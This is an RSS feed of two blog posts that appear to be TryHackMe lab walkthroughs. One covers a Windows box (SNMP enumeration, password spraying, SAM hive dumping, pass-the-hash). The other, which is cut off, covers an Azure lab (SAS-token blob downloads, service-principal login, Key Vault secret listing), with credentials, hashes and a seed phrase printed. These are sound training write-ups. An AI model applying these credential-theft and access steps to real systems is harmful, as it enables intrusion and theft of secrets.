<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community:  Mohammad ali</title>
    <description>The latest articles on DEV Community by  Mohammad ali (@mohammadali_30).</description>
    <link>https://dev.to/mohammadali_30</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4061424%2F92cd7da3-0576-4098-b408-e21f7c2e5d9f.png</url>
      <title>DEV Community:  Mohammad ali</title>
      <link>https://dev.to/mohammadali_30</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mohammadali_30"/>
    <language>en</language>
    <item>
      <title>TryHackMe: Year of the Owl Walkthrough &amp; Write-up</title>
      <dc:creator> Mohammad ali</dc:creator>
      <pubDate>Tue, 04 Aug 2026 23:37:11 +0000</pubDate>
      <link>https://dev.to/mohammadali_30/tryhackme-year-of-the-owl-walkthrough-write-up-5dgf</link>
      <guid>https://dev.to/mohammadali_30/tryhackme-year-of-the-owl-walkthrough-write-up-5dgf</guid>
      <description>&lt;p&gt;Introduction&lt;br&gt;
"Year of the Owl" is an intermediate-level Windows machine available on TryHackMe. It presents a realistic pentesting scenario starting from reconnaissance, exploiting SNMP enumeration, password spraying via WinRM/SMB, recovering SAM and SYSTEM backup hives from the Recycle Bin, cracking password hashes with Impacket, and finally escalating privileges to Administrator.&lt;/p&gt;

&lt;p&gt;In this write-up, we will walk through the complete enumeration and exploitation chain step-by-step.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 1: Reconnaissance &amp;amp; Port Scanning
&lt;/h2&gt;

&lt;p&gt;We start by running an initial Nmap scan to identify open ports and services on the target machine (&lt;code&gt;10.67.173.83&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6nhfomfxhwkah49ooyag.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6nhfomfxhwkah49ooyag.png" alt=" " width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Further UDP SNMP enumeration reveals port &lt;code&gt;161/udp&lt;/code&gt; open/filtered. We can use Metasploit to enumerate users through SNMP.&lt;/p&gt;

&lt;p&gt;Using the community string &lt;code&gt;openview&lt;/code&gt;, the SNMP enumeration successfully discovers 5 user accounts on the system:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DefaultAccount&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Guest&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Jareth&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WDAGUtilityAccount&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx4s4zas3b73b3frpm2uw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx4s4zas3b73b3frpm2uw.png" alt=" " width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2: Credential Stuffing &amp;amp; Password Spraying
&lt;/h2&gt;

&lt;p&gt;With the discovered username &lt;code&gt;jareth&lt;/code&gt;, we proceed to perform credential stuffing and password spraying against SMB (&lt;code&gt;445&lt;/code&gt;) and WinRM (&lt;code&gt;5985&lt;/code&gt;) using &lt;code&gt;crackmapexec&lt;/code&gt; combined with the standard &lt;code&gt;rockyou.txt&lt;/code&gt; wordlist.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz7iafzwhrslavspa83a9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz7iafzwhrslavspa83a9.png" alt=" " width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F81u2r8eyy4snmxj04e64.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F81u2r8eyy4snmxj04e64.png" alt=" " width="799" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzseulolsn3fui76o1ivx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzseulolsn3fui76o1ivx.png" alt=" " width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbfwy9m0y3u794ztcio1f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbfwy9m0y3u794ztcio1f.png" alt=" " width="799" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After iterating through the wordlist, a valid match is found for user &lt;code&gt;jareth&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Password Found:&lt;/strong&gt; &lt;code&gt;sarah&lt;/code&gt; (marked as &lt;code&gt;Pwn3d!&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Phase 3: Initial Access via WinRM
&lt;/h2&gt;

&lt;p&gt;Now that we have valid credentials (&lt;code&gt;jareth:sarah&lt;/code&gt;), we can establish an interactive remote shell using &lt;code&gt;evil-winrm&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmg7usuqqkdcuhtlvzaw1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmg7usuqqkdcuhtlvzaw1.png" alt=" " width="799" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once connected, we navigate to Jareth's desktop and retrieve the user flag (&lt;code&gt;user.txt&lt;/code&gt;):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;User Flag:&lt;/strong&gt; &lt;code&gt;THM{Y2I0NDJjODY2YmI2Y2U4M2IwZT81}&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Phase 4: Privilege Escalation &amp;amp; Hive Recovery
&lt;/h2&gt;

&lt;p&gt;To escalate our privileges, we inspect system privileges and search for sensitive files or backups. While investigating the file system, we locate registry backup hives stored inside the Recycle Bin (&lt;code&gt;$Recycle.bin&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgm2mgm7p80wyhc84yr6x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgm2mgm7p80wyhc84yr6x.png" alt=" " width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We locate &lt;code&gt;sam.bak&lt;/code&gt; and &lt;code&gt;system.bak&lt;/code&gt; inside the Recycle Bin directory for the user SID. We copy these files locally to Jareth's directory and download them to our attacking machine using the built-in &lt;code&gt;evil-winrm&lt;/code&gt; download command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgykv43v4o6ma7rky5xvg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgykv43v4o6ma7rky5xvg.png" alt=" " width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Back on our Kali Linux attacker machine, we use &lt;code&gt;impacket-secretsdump&lt;/code&gt; to extract the NTLM password hashes from the offline SAM and SYSTEM backup hives.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F21d3ql5ngfhtmjtk05jb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F21d3ql5ngfhtmjtk05jb.png" alt=" " width="800" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The hash dump successfully reveals the NTLM password hashes for all local accounts, including the &lt;code&gt;Administrator&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Administrator Hash:&lt;/strong&gt; &lt;code&gt;aad3b435b51404eeaad3b435b51404e:6bc99e9edcfecf9662fb0c0ddcf7a7a&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Phase 5: Gaining Administrator Access &amp;amp; Root Flag
&lt;/h2&gt;

&lt;p&gt;Armed with the Administrator hash, we perform a Pass-the-Hash (PtH) attack via &lt;code&gt;evil-winrm&lt;/code&gt; to connect directly as the &lt;code&gt;Administrator&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg7z0pehhbkp0d7msvv4m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg7z0pehhbkp0d7msvv4m.png" alt=" " width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally, we navigate to the Administrator's desktop, read &lt;code&gt;admin.txt&lt;/code&gt;, and capture the final root flag:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Root Flag:&lt;/strong&gt; &lt;code&gt;THM{YWFiZTM1MjFjMzRiODgyY1wyUwyZlZWM2}&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Conclusion&lt;br&gt;
"Year of the Owl" is an exceptionally well-designed lab that highlights the risks of:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Information leakage via SNMP.&lt;/li&gt;
&lt;li&gt;Weak password policies and password spraying vulnerabilities over WinRM/SMB.&lt;/li&gt;
&lt;li&gt;Leaving sensitive backup files (like SAM and SYSTEM hives) inside the Recycle Bin.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>beginners</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Cloud Security Walkthrough: Exploiting Azure Blob Storage and Key Vault Misconfigurations in CryptoCabana</title>
      <dc:creator> Mohammad ali</dc:creator>
      <pubDate>Tue, 04 Aug 2026 17:39:48 +0000</pubDate>
      <link>https://dev.to/mohammadali_30/cloud-security-walkthrough-exploiting-azure-blob-storage-and-key-vault-misconfigurations-in-4ee0</link>
      <guid>https://dev.to/mohammadali_30/cloud-security-walkthrough-exploiting-azure-blob-storage-and-key-vault-misconfigurations-in-4ee0</guid>
      <description>&lt;ol&gt;
&lt;li&gt;Introduction and ReconnaissanceThe CryptoCabana challenge on TryHackMe centers around an insecure cloud deployment where sensitive data, service accounts, and encryption keys are improperly exposed. The initial phase involves accessing the Azure environment using the provided portal credentials and launching the Azure Cloud Shell with Bash selected.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8d3ymxxonsj4sngdf88o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8d3ymxxonsj4sngdf88o.png" alt=" " width="799" height="455"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://portal.azure.com/" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;portal.azure.com&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnvmjyr9ihd71i0zoxnq4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnvmjyr9ihd71i0zoxnq4.png" alt=" " width="799" height="312"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnyylri8fy9ja9z70pgcm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnyylri8fy9ja9z70pgcm.png" alt=" " width="799" height="330"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1rxtpv32ny6d8rwbumvi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1rxtpv32ny6d8rwbumvi.png" alt=" " width="799" height="225"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc1yznujx41fyupm4iiez.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc1yznujx41fyupm4iiez.png" alt=" " width="800" height="256"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To validate shell access and check the active subscription context, we execute:&lt;/p&gt;

&lt;p&gt;az account show&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Enumerating Azure Blob Storage Containers via SAS Tokens&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;During application analysis, an exposed Shared Access Signature (SAS) token is discovered. Using curl, we can query the Azure Blob Storage service endpoint to list all available containers:&lt;/p&gt;

&lt;p&gt;curl -s "&lt;a href="https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&amp;amp;sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D" rel="noopener noreferrer"&gt;https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&amp;amp;sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D&lt;/a&gt;"&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1i3akmp7wpy90jyap2mk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1i3akmp7wpy90jyap2mk.png" alt=" " width="800" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The enumeration reveals three primary containers: &lt;/p&gt;

&lt;p&gt;$web&lt;br&gt;
backups&lt;br&gt;
vault&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Extracting Sensitive Artifacts from the Vault Container&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Targeting the vault container, we list its internal blobs to locate stored credentials and backup files: &lt;/p&gt;

&lt;p&gt;curl -s "&lt;a href="https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&amp;amp;comp=list&amp;amp;sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D" rel="noopener noreferrer"&gt;https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&amp;amp;comp=list&amp;amp;sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D&lt;/a&gt;"&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5jeu5gxamq542pfo81fm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5jeu5gxamq542pfo81fm.png" alt=" " width="800" height="81"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The container hosts two critical files: &lt;/p&gt;

&lt;p&gt;seed_phrase.txt&lt;br&gt;
backup-service-account.json&lt;/p&gt;

&lt;p&gt;Pulling the Files&lt;/p&gt;

&lt;p&gt;Using our read permissions (sp=rl), we download both files directly via curl: &lt;/p&gt;

&lt;p&gt;Seed Phrase:&lt;/p&gt;

&lt;p&gt;curl -s"&lt;a href="https://cryptocabanaf5scjagc.blob.core.windows.net/vault/seed_phrase.txt?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D" rel="noopener noreferrer"&gt;https://cryptocabanaf5scjagc.blob.core.windows.net/vault/seed_phrase.txt?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D&lt;/a&gt;"&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2j1ctb48yvs30doyhrxk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2j1ctb48yvs30doyhrxk.png" alt=" " width="800" height="28"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Result: velvet cabana rebuild scatter obvious wallet drift lagoon punchline receipt orbit shrimp &lt;/p&gt;

&lt;p&gt;Backup Service Account Credentials:&lt;/p&gt;

&lt;p&gt;curl -s "&lt;a href="https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D" rel="noopener noreferrer"&gt;https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D&lt;/a&gt;"&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu7obz5maya1l2w12lq17.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu7obz5maya1l2w12lq17.png" alt=" " width="800" height="42"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Result: Exposes the client_id, client_secret, tenant_id, and the target Azure Key Vault URI (ccabana-kv-f5scjagc). &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Authenticating as a Service PrincipalWith the extracted Service Principal credentials, we authenticate via the Azure CLI to inherit its access context within the subscription: &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;az login --service-principal -u dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 -p "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg" --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdjl5m9alzbyfwtcyqbgk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdjl5m9alzbyfwtcyqbgk.png" alt=" " width="800" height="156"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Enumerating and Querying Azure Key Vault Secrets&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;After successful authentication, we list the secrets contained within the target Key Vault (ccabana-kv-f5scjagc):&lt;/p&gt;

&lt;p&gt;az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn7wn1ghbgzlu25xds1pd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn7wn1ghbgzlu25xds1pd.png" alt=" " width="800" height="90"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The vault contains four secrets:&lt;br&gt;
key-shard-1&lt;br&gt;
key-shard-2&lt;br&gt;
key-shard-3&lt;br&gt;
master-key&lt;/p&gt;

&lt;p&gt;Extracting Flag Shards&lt;/p&gt;

&lt;p&gt;we retrieve the values of the individual key shards sequentially: &lt;/p&gt;

&lt;p&gt;First Shard:&lt;/p&gt;

&lt;p&gt;az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1 --query value -o tsv&lt;/p&gt;

